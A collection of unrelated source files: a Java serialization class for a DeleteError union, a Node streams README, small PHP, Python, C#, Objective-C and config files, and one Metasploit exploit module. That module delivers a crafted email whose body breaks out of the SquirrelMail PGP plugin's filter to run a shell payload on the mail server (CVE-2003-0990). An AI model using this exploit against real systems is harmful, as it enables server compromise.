     * Returns {@code true} if this instance has the tag {@link
     * Tag#PATH_LOOKUP}, {@code false} otherwise.
     *
     * @return {@code true} if this instance is tagged as {@link
     *     Tag#PATH_LOOKUP}, {@code false} otherwise.
     */
    public boolean isPathLookup() {
        return this._tag == Tag.PATH_LOOKUP;
    }

    /**
     * Returns an instance of {@code DeleteError} that has its tag set to {@link
     * Tag#PATH_LOOKUP}.
     *
     * <p> None </p>
     *
     * @param value  value to assign to this instance.
     *
     * @return Instance of {@code DeleteError} with its tag set to {@link
     *     Tag#PATH_LOOKUP}.
     *
     * @throws IllegalArgumentException  if {@code value} is {@code null}.
     */
    public static DeleteError pathLookup(LookupError value) {
        if (value == null) {
            throw new IllegalArgumentException("Value is null");
        }
        return new DeleteError().withTagAndPathLookup(Tag.PATH_LOOKUP, value);
    }

    /**
     * This instance must be tagged as {@link Tag#PATH_LOOKUP}.
     *
     * @return The {@link LookupError} value associated with this instance if
     *     {@link #isPathLookup} is {@code true}.
     *
     * @throws IllegalStateException  If {@link #isPathLookup} is {@code false}.
     */
    public LookupError getPathLookupValue() {
        if (this._tag != Tag.PATH_LOOKUP) {
            throw new IllegalStateException("Invalid tag: required Tag.PATH_LOOKUP, but was Tag." + this._tag.name());
        }
        return pathLookupValue;
    }

    /**
     * Returns {@code true} if this instance has the tag {@link Tag#PATH_WRITE},
     * {@code false} otherwise.
     *
     * @return {@code true} if this instance is tagged as {@link
     *     Tag#PATH_WRITE}, {@code false} otherwise.
     */
    public boolean isPathWrite() {
        return this._tag == Tag.PATH_WRITE;
    }

    /**
     * Returns an instance of {@code DeleteError} that has its tag set to {@link
     * Tag#PATH_WRITE}.
     *
     * <p> None </p>
     *
     * @param value  value to assign to this instance.
     *
     * @return Instance of {@code DeleteError} with its tag set to {@link
     *     Tag#PATH_WRITE}.
     *
     * @throws IllegalArgumentException  if {@code value} is {@code null}.
     */
    public static DeleteError pathWrite(WriteError value) {
        if (value == null) {
            throw new IllegalArgumentException("Value is null");
        }
        return new DeleteError().withTagAndPathWrite(Tag.PATH_WRITE, value);
    }

    /**
     * This instance must be tagged as {@link Tag#PATH_WRITE}.
     *
     * @return The {@link WriteError} value associated with this instance if
     *     {@link #isPathWrite} is {@code true}.
     *
     * @throws IllegalStateException  If {@link #isPathWrite} is {@code false}.
     */
    public WriteError getPathWriteValue() {
        if (this._tag != Tag.PATH_WRITE) {
            throw new IllegalStateException("Invalid tag: required Tag.PATH_WRITE, but was Tag." + this._tag.name());
        }
        return pathWriteValue;
    }

    /**
     * Returns {@code true} if this instance has the tag {@link
     * Tag#TOO_MANY_WRITE_OPERATIONS}, {@code false} otherwise.
     *
     * @return {@code true} if this instance is tagged as {@link
     *     Tag#TOO_MANY_WRITE_OPERATIONS}, {@code false} otherwise.
     */
    public boolean isTooManyWriteOperations() {
        return this._tag == Tag.TOO_MANY_WRITE_OPERATIONS;
    }

    /**
     * Returns {@code true} if this instance has the tag {@link
     * Tag#TOO_MANY_FILES}, {@code false} otherwise.
     *
     * @return {@code true} if this instance is tagged as {@link
     *     Tag#TOO_MANY_FILES}, {@code false} otherwise.
     */
    public boolean isTooManyFiles() {
        return this._tag == Tag.TOO_MANY_FILES;
    }

    /**
     * Returns {@code true} if this instance has the tag {@link Tag#OTHER},
     * {@code false} otherwise.
     *
     * @return {@code true} if this instance is tagged as {@link Tag#OTHER},
     *     {@code false} otherwise.
     */
    public boolean isOther() {
        return this._tag == Tag.OTHER;
    }

    @Override
    public int hashCode() {
        int hash = Arrays.hashCode(new Object [] {
            _tag,
            pathLookupValue,
            pathWriteValue
        });
        return hash;
    }

    @Override
    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        }
        if (obj == null) {
            return false;
        }
        else if (obj instanceof DeleteError) {
            DeleteError other = (DeleteError) obj;
            if (this._tag != other._tag) {
                return false;
            }
            switch (_tag) {
                case PATH_LOOKUP:
                    return (this.pathLookupValue == other.pathLookupValue) || (this.pathLookupValue.equals(other.pathLookupValue));
                case PATH_WRITE:
                    return (this.pathWriteValue == other.pathWriteValue) || (this.pathWriteValue.equals(other.pathWriteValue));
                case TOO_MANY_WRITE_OPERATIONS:
                    return true;
                case TOO_MANY_FILES:
                    return true;
                case OTHER:
                    return true;
                default:
                    return false;
            }
        }
        else {
            return false;
        }
    }

    @Override
    public String toString() {
        return Serializer.INSTANCE.serialize(this, false);
    }

    /**
     * Returns a String representation of this object formatted for easier
     * readability.
     *
     * <p> The returned String may contain newlines. </p>
     *
     * @return Formatted, multiline String representation of this object
     */
    public String toStringMultiline() {
        return Serializer.INSTANCE.serialize(this, true);
    }

    /**
     * For internal use only.
     */
    static class Serializer extends UnionSerializer<DeleteError> {
        public static final Serializer INSTANCE = new Serializer();

        @Override
        public void serialize(DeleteError value, JsonGenerator g) throws IOException, JsonGenerationException {
            switch (value.tag()) {
                case PATH_LOOKUP: {
                    g.writeStartObject();
                    writeTag("path_lookup", g);
                    g.writeFieldName("path_lookup");
                    LookupError.Serializer.INSTANCE.serialize(value.pathLookupValue, g);
                    g.writeEndObject();
                    break;
                }
                case PATH_WRITE: {
                    g.writeStartObject();
                    writeTag("path_write", g);
                    g.writeFieldName("path_write");
                    WriteError.Serializer.INSTANCE.serialize(value.pathWriteValue, g);
                    g.writeEndObject();
                    break;
                }
                case TOO_MANY_WRITE_OPERATIONS: {
                    g.writeString("too_many_write_operations");
                    break;
                }
                case TOO_MANY_FILES: {
                    g.writeString("too_many_files");
                    break;
                }
                default: {
                    g.writeString("other");
                }
            }
        }

        @Override
        public DeleteError deserialize(JsonParser p) throws IOException, JsonParseException {
            DeleteError value;
            boolean collapsed;
            String tag;
            if (p.getCurrentToken() == JsonToken.VALUE_STRING) {
                collapsed = true;
                tag = getStringValue(p);
                p.nextToken();
            }
            else {
                collapsed = false;
                expectStartObject(p);
                tag = readTag(p);
            }
            if (tag == null) {
                throw new JsonParseException(p, "Required field missing: " + TAG_FIELD);
            }
            else if ("path_lookup".equals(tag)) {
                LookupError fieldValue = null;
                expectField("path_lookup", p);
                fieldValue = LookupError.Serializer.INSTANCE.deserialize(p);
                value = DeleteError.pathLookup(fieldValue);
            }
            else if ("path_write".equals(tag)) {
                WriteError fieldValue = null;
                expectField("path_write", p);
                fieldValue = WriteError.Serializer.INSTANCE.deserialize(p);
                value = DeleteError.pathWrite(fieldValue);
            }
            else if ("too_many_write_operations".equals(tag)) {
                value = DeleteError.TOO_MANY_WRITE_OPERATIONS;
            }
            else if ("too_many_files".equals(tag)) {
                value = DeleteError.TOO_MANY_FILES;
            }
            else {
                value = DeleteError.OTHER;
            }
            if (!collapsed) {
                skipFields(p);
                expectEndObject(p);
            }
            return value;
        }
    }
}


text:
A userland streams implementation that mostly mimicks node core streams but adds error handling and a few other tweaks

```
npm install vintage-streams
```

[![build status](http://img.shields.io/travis/mafintosh/vintage-streams.svg?style=flat)](http://travis-ci.org/mafintosh/vintage-streams)

## Usage

``` js
var streams = require('vintage-streams')

var rs = streams.Readable({
  read: function (cb) {
    this.push(Buffer('hello'))
    this.push(Buffer('world'))
    this.push(null)
    cb()
  }
})

rs.on('data', function (data) {
  console.log(data) // first hello, then data
})

rs.on('end', function () {
  console.log('(no more data)')
})

rs.on('close', function () {
  console.log('(stream is completely closed)')
})
```

## API

### `streams.Readable`

A readable stream represents a source of data that you can read from. An example of this could be a stream the reads the contents of a file.

To make a readable stream use the base class provided by `streams.Readable`.

#### `Readable.push(data)`

Call this method to push data to the stream. Returns `true` if the internal buffer is not full and you should continue pushing data.
If you pass `.push(null)` the stream will end.

Per default all streams pass the data unaltered. If you are writing binary data it might be conveinient to convert all strings to buffers. To do this you can set the `toBuffer` (or `readableToBuffer`) option in the constructor

```
var rs = stream.Readable({
  toBuffer: true // converts strings to buffers when pushing data
})
```

#### `Readable._read(callback)`

The `_read` method is called every time the stream has drained and wants you to push more data to it. You should override this method with your custom reading logic. When you are done reading call the callback. If you call the callback with an error the stream is destroyed. Optionally you can pass a data value as the second argument to the callback to push it. If you pass `null` as the second argument the stream will end.

``` js

var rs = stream.Readable()
var cnt = 0

rs._read = function (cb) {
  cb(null, Buffer('' + (cnt++)))
}

rs.on('data', function (data) {
  console.log(data) // first 0, then 1, ...
})
```

You can also pass the read function as an option in the constructor.

``` js
var rs = stream.Readable({
  read: function (cb) {
    ...
  }
})
```

#### `Readable.destroy([err])`

Destroys the readable stream. No more data will be emitted. If an error is passed an error will be emitted as well.

#### `Readable._destroy(callback)`

Called when the stream is being destroyed. Override this with your custom destroy logic. After the callback is called `close` will be emitted.
This method is always called at the end of the streams lifecycle and you can use this to deallocate any resources you have opened.

``` js
rs._destroy = function (cb) {
  fs.close(fd, cb) // close an open file descriptor fx
}
```

You can also pass the destroy function as an option in the constructor

``` js
var rs = stream.Readable({
  destroy: function (cb) {
    ...
  }
})
```

#### `writableStream = Readable.pipe(writableStream, [callback])`

Pipe the stream to a writable stream. Compatible with node core streams. When the pipe is finished (the writable stream has gracefully ended) the callback is called. If the pipe failed the callback is called with an error. If either the writable stream or the readable stream is destroyed or experiences an error both streams in the pipeline are destroyed.

#### `Readable.pause()`

Pauses the stream. No events will be emitted while the stream is paused unless it is destroyed or resumed. All streams start out paused.

#### `Readable.resume()`

Unpauses the stream.

#### `var data = Readable.read()`

Similar to the core `.read()` method it returns the first data item available in the buffer. If the buffer is empty `null` is returned. Added mostly to be compatible with node core.

#### `Readable.on('readable')`

Emitted when there is data in the buffer available to read.

#### `Readable.on('data', data)`

Emitted when there is data to read. Similar to node code all streams start out paused and adding a data listener will automatically resume it.

#### `Readable.on('end')`

Emitted when the stream has ended gracefully and all data has been read. `end` is not guaranteed to be emitted if the stream is forcefully closed using destroy.

#### `Readable.on('close')`

Emitted when the stream is fully closed. This is always the last event emitted and is guaranteed to be emitted.

#### `Readable.on('error', err)`

Emitted when an error has occurred. Guaranteed to only be emitted once and is followed by the close event.

### `streams.Writable`

A writable stream represents a destination you can write data to. An example of this could be a stream the writes the data written to it to a file.

To make a writable stream use the base class provided by `streams.Writable`.

#### `flushed = Writable.write(data)`

Call this method to write data. Similary to `.push` on readable streams it returns `true` if you continue writing or `false` if you should wait for the stream to drain. When a writable stream has drained it will emit a `drain` event.

#### `Writable._write(data, callback)`

The `_write` method is called every time the writable stream has some data it wants you to write. Call the callback when you are done writing it.

``` js
ws._write = function (data, callback) {
  console.log('someone is writing', data)
  callback()
}
```

You can also pass the write function as an option in the constructor

``` js
var ws = stream.Writable({
  write: function (data, cb) {
    ...
  }
})
```

#### `Writable.end([data])`

Ends the stream. Optionally you can a data value that is written before the stream is ended.

#### `Writable._end(callback)`

The `._end` method is called when the stream is about to end. Override this method if you want to do some custom logic before the stream emits finish.

``` js
ws._end = function (cb) {
  console.log('stream is about to end')
  cb()
}
```

You can also pass the end function as an option in the constructor

``` js
var ws = streams.Writable({
  end: function (cb) {
    ...
  }
})
```

#### `Writable.destroy([error])`

Destroys the writable stream. No more data will be written. If an error is passed an error will be emitted as well.

#### `Writable._destroy(callback)`

Similar to `_destroy` on a readable stream. Use this to deallocate any resources. Will emit close after the callback has been called.

#### `Writable.cork()`

Pauses the writable stream. No data will be written and no events will emitted while the stream is corked unless it is destroyed.

#### `Writable.uncork()`

Unpauses the writable stream.

#### `Writable.on('drain')`

Emitted when the stream has drained and you should start writing more data to it.

#### `Writable.on('finish')`

Emitted when the last data chunk has been written after `.end()` has been called. If the stream has been destroyed this is not guaranteed to be emitted.

#### `Writable.on('error')`

Emitted if the writable stream experiences an error. Will only be emitted once.

#### `Writable.on('close')`

Emitted when the writable stream is fully closed and has been destroyed. Similary to readable streams this is guaranteed to be emitted and is the last event.

### `streams.Duplex`

A duplex stream is a stream that is both readable and writable. An example of this could a be a TCP stream that allows you to read and write from a network connection.

To make a duplex stream use the base class provided by `streams.Duplex`. The duplex stream inherits all methods from both readable and writable streams. See the API for those streams.

### `streams.Transform`

A transform stream is a special duplex stream that transforms the data written to into a readable source. A zip/unzip stream is a good example of this.

To make a transform stream use the base class provided by `streams.Transform`.

#### `Transform._transform(data, callback)`

This method is called when there is a piece of data that you should transform.

``` js
ts._transform = function (data, cb) {
  this.push(Buffer(data.toString().toUpperCase())) // uppercase the string
  cb()
}
```

Optionally you can set the transform option in the constructor as well.

``` js
var ts = streams.Transform({
  transform: function (data, cb) {
    ...
  }
})
```

## License

MIT


text:
<menu xmlns:android="http://schemas.android.com/apk/res/android" >

    <!--
    <item android:id="@+id/search"
          android:title="@string/search_title"
          android:icon="@drawable/ic_search"
          android:showAsAction="collapseActionView|ifRoom"
          android:actionViewClass="android.widget.SearchView" />
    -->

</menu>


text:
const ClientError = require('./clientError');

class ResourceNotFoundError extends ClientError {
  constructor(message) {
    super(message || 'Resource not found', 404);
  }
}

module.exports = ResourceNotFoundError;


text:
<?php

namespace Martiis\CheckoutServer\Basket\Command;

use Martiis\CheckoutServer\Basket\BasketClient;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

class CheckoutCommand extends Command
{
    /**
     * {@inheritdoc}
     */
    protected function configure()
    {
        $this
            ->setName('basket:checkout')
            ->setDescription('Basket checkout');
    }

    /**
     * {@inheritdoc}
     */
    protected function execute(InputInterface $input, OutputInterface $output)
    {
        (new BasketClient())->checkout();
    }
}


text:
"""Tests for balloon_learning_environment.env.balloon_arena."""

from absl.testing import absltest
from absl.testing import parameterized
from balloon_learning_environment.env import balloon_arena
from balloon_learning_environment.env import features
from balloon_learning_environment.utils import constants
from balloon_learning_environment.utils import test_helpers
from balloon_learning_environment.utils import units
import jax

class BalloonArenaTest(parameterized.TestCase):

  # TODO(joshgreaves): Patch PerciatelliFeatureConstructor, it's too slow.

  def test_int_seeding_gives_determinisic_balloon_initialization(self):
    arena1 = balloon_arena.BalloonArena(features.PerciatelliFeatureConstructor)
    arena2 = balloon_arena.BalloonArena(features.PerciatelliFeatureConstructor)

    arena1.reset(201)
    arena2.reset(201)
    balloon_state1 = arena1.get_simulator_state().balloon_state
    balloon_state2 = arena2.get_simulator_state().balloon_state

    test_helpers.compare_balloon_states(balloon_state1, balloon_state2)

  def test_array_seeding_gives_determinisic_balloon_initialization(self):
    arena1 = balloon_arena.BalloonArena(features.PerciatelliFeatureConstructor)
    arena2 = balloon_arena.BalloonArena(features.PerciatelliFeatureConstructor)

    arena1.reset(jax.random.PRNGKey(201))
    arena2.reset(jax.random.PRNGKey(201))
    balloon_state1 = arena1.get_simulator_state().balloon_state
    balloon_state2 = arena2.get_simulator_state().balloon_state
    test_helpers.compare_balloon_states(balloon_state1, balloon_state2)

  def test_different_seeds_gives_different_initialization(self):
    arena1 = balloon_arena.BalloonArena(features.PerciatelliFeatureConstructor)
    arena2 = balloon_arena.BalloonArena(features.PerciatelliFeatureConstructor)

    arena1.reset(201)
    arena2.reset(202)
    balloon_state1 = arena1.get_simulator_state().balloon_state
    balloon_state2 = arena2.get_simulator_state().balloon_state
    test_helpers.compare_balloon_states(
        balloon_state1, balloon_state2, check_not_equal=['x', 'y'])

  def test_random_seeding_doesnt_throw_exception(self):
    arena = balloon_arena.BalloonArena(features.PerciatelliFeatureConstructor)

    arena.reset()
    # Succeeds if no error was thrown

  @parameterized.named_parameters((str(x), x) for x in (1, 5, 28, 90, 106, 378))
  def test_balloon_is_initialized_within_200km(self, seed: int):
    arena = balloon_arena.BalloonArena(features.PerciatelliFeatureConstructor)

    arena.reset(seed)
    balloon_state = arena.get_simulator_state().balloon_state

    distance = units.relative_distance(balloon_state.x, balloon_state.y)
    self.assertLessEqual(distance.km, 200.0)

  @parameterized.named_parameters((str(x), x) for x in (1, 5, 28, 90, 106, 378))
  def test_balloon_is_initialized_within_valid_pressure_range(self, seed: int):
    arena = balloon_arena.BalloonArena(features.PerciatelliFeatureConstructor)

    arena.reset(seed)
    balloon_state = arena.get_simulator_state().balloon_state

    self.assertBetween(balloon_state.pressure,
                       constants.PERCIATELLI_PRESSURE_RANGE_MIN,
                       constants.PERCIATELLI_PRESSURE_RANGE_MAX)

if __name__ == '__main__':
  absltest.main()


text:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	#
	# This module sends email messages via smtp
	#
	include Msf::Exploit::Remote::SMTPDeliver

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SquirrelMail PGP Plugin command execution (SMTP)',
			'Description'    => %q{
					This module exploits a command execution vulnerability in the
				PGP plugin of SquirrelMail. This flaw was found while quickly
				grepping the code after release of some information at
				http://www.wslabi.com/. Later, iDefense published an advisory ....

				Reading an email in SquirrelMail with the PGP plugin activated
				is enough to compromise the underlying server.

				Only "cmd/unix/generic" payloads were tested.
			},
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10148 $',
			'Author'         => [ 'Nicob <nicob[at]nicob.net>' ],
			'References'     =>
				[
					['CVE', '2003-0990'],
					['OSVDB', '3178'],
					['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html'],
					['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'],
					['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'],
				],
			'Stance'         => Msf::Exploit::Stance::Passive,
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'       => 1024,
					'BadChars'    => '',
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        =>
				[
					[ 'SquirrelMail PGP plugin < 2.1', {} ],
				],
			'DisclosureDate' => 'Jul 9 2007',
			'DefaultTarget' => 0))

	end

	def mime_defaults()
		self.header.set("MIME-Version", "1.0")
		self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1")
		self.header.set("Subject", '') # placeholder
		self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z"))
		self.header.set("Message-ID",
			"<"+
			Rex::Text.rand_text_alphanumeric(rand(20)+40)+
			"@"+
			Rex::Text.rand_text_alpha(rand(20)+3)+
			">"
			)
		self.header.set("From", '')    # placeholder
		self.header.set("To", '')      # placeholder
	end

	def exploit

		body =
			# Display some junk
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +

			# Scroll down
			"\n" * (rand(100)+35) +

			# Escape filter and insert payload
			"AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n"

		sig =
			"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " +
			rand_text_alphanumeric(rand(20)+54) + "\n" +
			rand_text_alphanumeric(rand(20)+34) + "\n" +
			"-----END PGP SIGNATURE-----\n"

		msg = Rex::MIME::Message.new
		msg.extend(MessageExtend)
		msg.mime_defaults
		msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
		msg.to = datastore['MAILTO']
		msg.from = datastore['MAILFROM']

		msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil)
		msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc")

		send_message(msg.to_s)

		print_status("Waiting for a payload session (backgrounding)...")
	end

end


text:
import helper

helper.greeting("hello")


text:
<?php

namespace PhpBrew;

use Exception;

class InvalidVariantSyntaxException extends Exception
{
}


text:
package com.senacor.wicket.async.christmas.core.runtime.profile;

import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;

import org.springframework.context.annotation.Profile;

/**
 *
 * @author Jochen Mader, Senacor Technologies AG
 */
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Profile("dev")
public @interface Dev {
}


text:
package springing;

/**
 * Created by: orangeant, Date: 4/7/16
 */
public interface Quest {
  void embark();
}


text:
<?php

namespace FOS\UserBundle\Command;

use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use FOS\UserBundle\Model\User;

/**
 * @author Matthieu Bontemps <matthieu@knplabs.com>
 * @author Thibault Duplessis <thibault.duplessis@gmail.com>
 * @author Luis Cordova <cordoval@gmail.com>
 */
class CreateUserCommand extends ContainerAwareCommand
{
    /**
     * @see Command
     */
    protected function configure()
    {
        $this
            ->setName('fos:user:create')
            ->setDescription('Create a user.')
            ->setDefinition(array(
                new InputArgument('username', InputArgument::REQUIRED, 'The username'),
                new InputArgument('email', InputArgument::REQUIRED, 'The email'),
                new InputArgument('password', InputArgument::REQUIRED, 'The password'),
                new InputOption('super-admin', null, InputOption::VALUE_NONE, 'Set the user as super admin'),
                new InputOption('inactive', null, InputOption::VALUE_NONE, 'Set the user as inactive'),
            ))
            ->setHelp(<<<EOT
The <info>fos:user:create</info> command creates a user:

  <info>php app/console fos:user:create matthieu</info>

This interactive shell will ask you for an email and then a password.

You can alternatively specify the email and password as the second and third arguments:

  <info>php app/console fos:user:create matthieu matthieu@example.com mypassword</info>

You can create a super admin via the super-admin flag:

  <info>php app/console fos:user:create admin --super-admin</info>

You can create an inactive user (will not be able to log in):

  <info>php app/console fos:user:create thibault --inactive</info>

EOT
            );
    }

    /**
     * @see Command
     */
    protected function execute(InputInterface $input, OutputInterface $output)
    {
        $username   = $input->getArgument('username');
        $email      = $input->getArgument('email');
        $password   = $input->getArgument('password');
        $inactive   = $input->getOption('inactive');
        $superadmin = $input->getOption('super-admin');

        $manipulator = $this->getContainer()->get('fos_user.util.user_manipulator');
        $manipulator->create($username, $password, $email, !$inactive, $superadmin);

        $output->writeln(sprintf('Created user <comment>%s</comment>', $username));
    }

    /**
     * @see Command
     */
    protected function interact(InputInterface $input, OutputInterface $output)
    {
        if (!$input->getArgument('username')) {
            $username = $this->getHelper('dialog')->askAndValidate(
                $output,
                'Please choose a username:',
                function($username)
                {
                    if (empty($username)) {
                        throw new \Exception('Username can not be empty');
                    }

                    return $username;
                }
            );
            $input->setArgument('username', $username);
        }

        if (!$input->getArgument('email')) {
            $email = $this->getHelper('dialog')->askAndValidate(
                $output,
                'Please choose an email:',
                function($email)
                {
                    if (empty($email)) {
                        throw new \Exception('Email can not be empty');
                    }

                    return $email;
                }
            );
            $input->setArgument('email', $email);
        }

        if (!$input->getArgument('password')) {
            $password = $this->getHelper('dialog')->askAndValidate(
                $output,
                'Please choose a password:',
                function($password)
                {
                    if (empty($password)) {
                        throw new \Exception('Password can not be empty');
                    }

                    return $password;
                }
            );
            $input->setArgument('password', $password);
        }
    }
}


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace Cocos2D
{
    public class CCScale9SpriteFrame : CCScale9Sprite
    {
        public CCScale9SpriteFrame(CCSpriteFrame spriteFrame, CCRect capInsets)
        {
            InitWithSpriteFrame(spriteFrame, capInsets);
        }
        public CCScale9SpriteFrame(CCSpriteFrame spriteFrame)
        {
            InitWithSpriteFrame(spriteFrame);
        }

        public CCScale9SpriteFrame(string spriteFrameName, CCRect capInsets)
        {
            InitWithSpriteFrameName(spriteFrameName, capInsets);
        }

        public CCScale9SpriteFrame(string alias)
        {
            InitWithSpriteFrameName(alias);
        }
    }
}


text:
//
//  VMToolBar.m
//  VMovie
//
//  Created by wyz on 16/4/10.
//  Copyright © 2016年 wyz. All rights reserved.
//

#import "VMToolBar.h"

@interface VMToolBar()
/**消息按钮 */
@property (nonatomic, strong) UIButton *messageButton;
/**评论消息 */
@property (nonatomic, strong) UITextField *textField;
/**喜欢按钮 */
@property (nonatomic, strong) UIButton *likeButton;
/**下载按钮 */
@property (nonatomic, strong) UIButton *cacheButton;

/**发送按钮 */
@property (nonatomic, strong) UIButton *sendButton;

@end

@implementation VMToolBar

- (instancetype)initWithFrame:(CGRect)frame {
    if (self = [super initWithFrame:frame]) {
        self.backgroundColor = [UIColor whiteColor];
        self.layer.shadowColor = [UIColor darkGrayColor].CGColor;
        self.layer.shadowOffset = CGSizeMake(0, -1);
        self.layer.shadowRadius = 1;
        self.layer.shadowOpacity = 0.5;
        [self addSubview:self.messageButton];
        [self addSubview:self.textField];
        [self addSubview:self.likeButton];
        [self addSubview:self.cacheButton];
        [self addSubview:self.commentButton];
        [self addSubview:self.sendButton];

        [self addConstraints];
    }
    return self;
}

- (void) addConstraints {

    [self.messageButton mas_makeConstraints:^(MASConstraintMaker *make) {
        make.left.equalTo(self).offset(10);
        make.centerY.equalTo(self);
        make.width.equalTo(@22);
        make.height.equalTo(@22);
    }];

    [self.commentButton mas_makeConstraints:^(MASConstraintMaker *make) {
        make.right.equalTo(self).offset(-15);
        make.centerY.height.equalTo(self.messageButton);
        make.width.equalTo(@44);
    }];

    [self.cacheButton mas_makeConstraints:^(MASConstraintMaker *make) {
        make.right.equalTo(self.commentButton.mas_left).offset(-15);
        make.height.centerY.equalTo(self.messageButton);
        make.width.equalTo(@22);
    }];

    [self.likeButton mas_makeConstraints:^(MASConstraintMaker *make) {
        make.right.equalTo(self.cacheButton.mas_left).offset(-15);
        make.height.centerY.equalTo(self.messageButton);
        make.width.equalTo(@44);
    }];

    [self.textField mas_makeConstraints:^(MASConstraintMaker *make) {
        make.left.equalTo(self.messageButton.mas_right).offset(10);
        make.right.equalTo(self.likeButton.mas_left).offset(-10);
        make.centerY.equalTo(self);
        make.height.equalTo(self);
    }];

    [self.sendButton mas_makeConstraints:^(MASConstraintMaker *make) {
        make.right.top.bottom.equalTo(self);
        make.width.equalTo(@60);
    }];
}

- (void) EditingChanged:(UITextField *) sender {
    if (sender.text.length > 0) {
        self.likeButton.hidden = YES;
        self.cacheButton.hidden = YES;
        self.commentButton.hidden = YES;
        self.sendButton.hidden = NO;
        [self.textField mas_remakeConstraints:^(MASConstraintMaker *make) {
            make.left.equalTo(self.messageButton.mas_right).offset(10);
            make.right.equalTo(self.sendButton.mas_left).offset(-10);
            make.centerY.height.equalTo(self);
        }];
    } else {
        self.likeButton.hidden = NO;
        self.cacheButton.hidden = NO;
        self.commentButton.hidden = NO;
        self.sendButton.hidden = YES;
        [self.textField mas_remakeConstraints:^(MASConstraintMaker *make) {
            make.right.equalTo(self.likeButton.mas_left).offset(-10);
            make.left.equalTo(self.messageButton.mas_right).offset(10);
            make.centerY.height.equalTo(self);
        }];
    }
}

#pragma mark - 懒加载
- (UIButton *)messageButton {
    if (!_messageButton) {
        _messageButton = [UIButton new];
        [_messageButton setImage:[UIImage imageNamed:@"img_details_message"] forState:UIControlStateNormal];
    }
    return _messageButton;
}

- (UITextField *)textField {
    if (!_textField) {
        _textField = [UITextField new];
        _textField.placeholder = @"我来说两句...";
        _textField.font = [UIFont  systemFontOfSize:14.0f];
        [_textField addTarget:self action:@selector(EditingChanged:) forControlEvents:UIControlEventEditingChanged];
    }
    return _textField;
}

- (UIButton *)likeButton {
    if (!_likeButton) {
        _likeButton = [UIButton new];
        [_likeButton setImage:[UIImage imageNamed:@"img_back_like"] forState:UIControlStateNormal];
    }
    return _likeButton;
}

- (UIButton *)cacheButton {
    if (!_cacheButton) {
        _cacheButton = [UIButton new];
        [_cacheButton setImage:[UIImage imageNamed:@"img_player_bottom_cache"] forState:UIControlStateNormal];
    }
    return _cacheButton;
}

- (UIButton *)commentButton {
    if (!_commentButton) {
        _commentButton = [UIButton new];
        [_commentButton setImage:[UIImage imageNamed:@"img_details_message_number"] forState:UIControlStateNormal];
        [_commentButton setTitleColor:[UIColor darkGrayColor] forState:UIControlStateNormal];
        _commentButton.titleLabel.font = [UIFont systemFontOfSize:14.0f];
        [[_commentButton rac_signalForControlEvents:UIControlEventTouchUpInside] subscribeNext:^(id x) {
            !self.commentBlock? :self.commentBlock();
        }];
    }
    return _commentButton;
}

- (UIButton *)sendButton {
    if (!_sendButton) {
        _sendButton = [UIButton new];
        [_sendButton setBackgroundColor:RGBCOLOR(0, 182, 231)];
        [_sendButton setTitle:@"发送" forState:UIControlStateNormal];
        _sendButton.titleLabel.font = [UIFont systemFontOfSize:14.0f];
        [_sendButton setTitleColor:[UIColor whiteColor] forState:UIControlStateNormal];
        _sendButton.hidden = YES;
    }
    return _sendButton;
}
@end


text:
<?xml version="1.0" encoding="UTF-8" ?>
<FiglutMonoDroidDataBoxSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ShowMessageBoxOnException>true</ShowMessageBoxOnException>
  <FiglutWebServiceBaseUrl>http://HostnameOrIpAddress:2983/Figlut/</FiglutWebServiceBaseUrl>
  <UseAuthentication>false</UseAuthentication>
  <PromptForCredentials>false</PromptForCredentials>
  <AuthenticationDomainName></AuthenticationDomainName>
  <AuthenticationUserName></AuthenticationUserName>
  <AuthenticationPassword></AuthenticationPassword>
  <FiglutWebServiceWebRequestTimeout>30000</FiglutWebServiceWebRequestTimeout>
  <FiglutWebServiceTextResponseEncoding>UTF8</FiglutWebServiceTextResponseEncoding>
  <FiglutWebServiceMessagingFormat>JSON</FiglutWebServiceMessagingFormat>
  <FiglutWebServiceSchemaAcquisitionMessagingFormat>JSON</FiglutWebServiceSchemaAcquisitionMessagingFormat>
  <OfflineMode>false</OfflineMode>
